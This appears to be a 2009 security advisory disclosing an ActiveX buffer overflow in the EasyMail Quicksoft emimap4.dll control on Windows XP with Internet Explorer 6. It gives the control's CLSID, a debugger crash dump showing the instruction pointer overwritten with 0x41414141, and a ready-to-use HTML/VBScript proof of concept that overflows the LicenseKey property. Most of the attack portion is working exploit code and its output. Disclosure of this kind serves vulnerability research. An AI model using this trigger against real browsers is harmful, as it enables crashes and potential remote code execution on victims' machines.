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Application: EasyMail Quicksoft 6.0.2.0
Platforms: Windows XP Professional French SP2
crash: IE 6.0.2900.2180
Exploitation: remote Code Execution
Date: 2009-08-24
Author: Francis Provencher (Protek Research Lab's)
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1) Introduction
2) Technical details and bug
3) The Code
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1) Introduction
===============
Create, send, download, parse, print and store internet email messages in your classic windows application. Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments. COM or standard DLL interfaces. This is the software that processes hundreds of millions of email messages on the Internet every day.
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2) Technical details
============================
Name: emimap4.dll
Ver.: 6.0.2.0
CLSID: {0CEA3FB1-7F88-4803-AA8E-AD021566955D}
ModLoad: 037f0000 0381e000 C:\WINDOWS\system32\emimap4.dll
(2088.2388): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0380c878 ecx=0012df70 edx=00000039 esi=0033df18 edi=0033e14c
eip=41414141 esp=0012df88 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
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3) The Code
===========
Proof of concept DoS code;
<HTML>
<object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object>
<script language = 'vbscript'>
Scrap = unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
code = Scrap
target.LicenseKey = code
</script>
<html>
~
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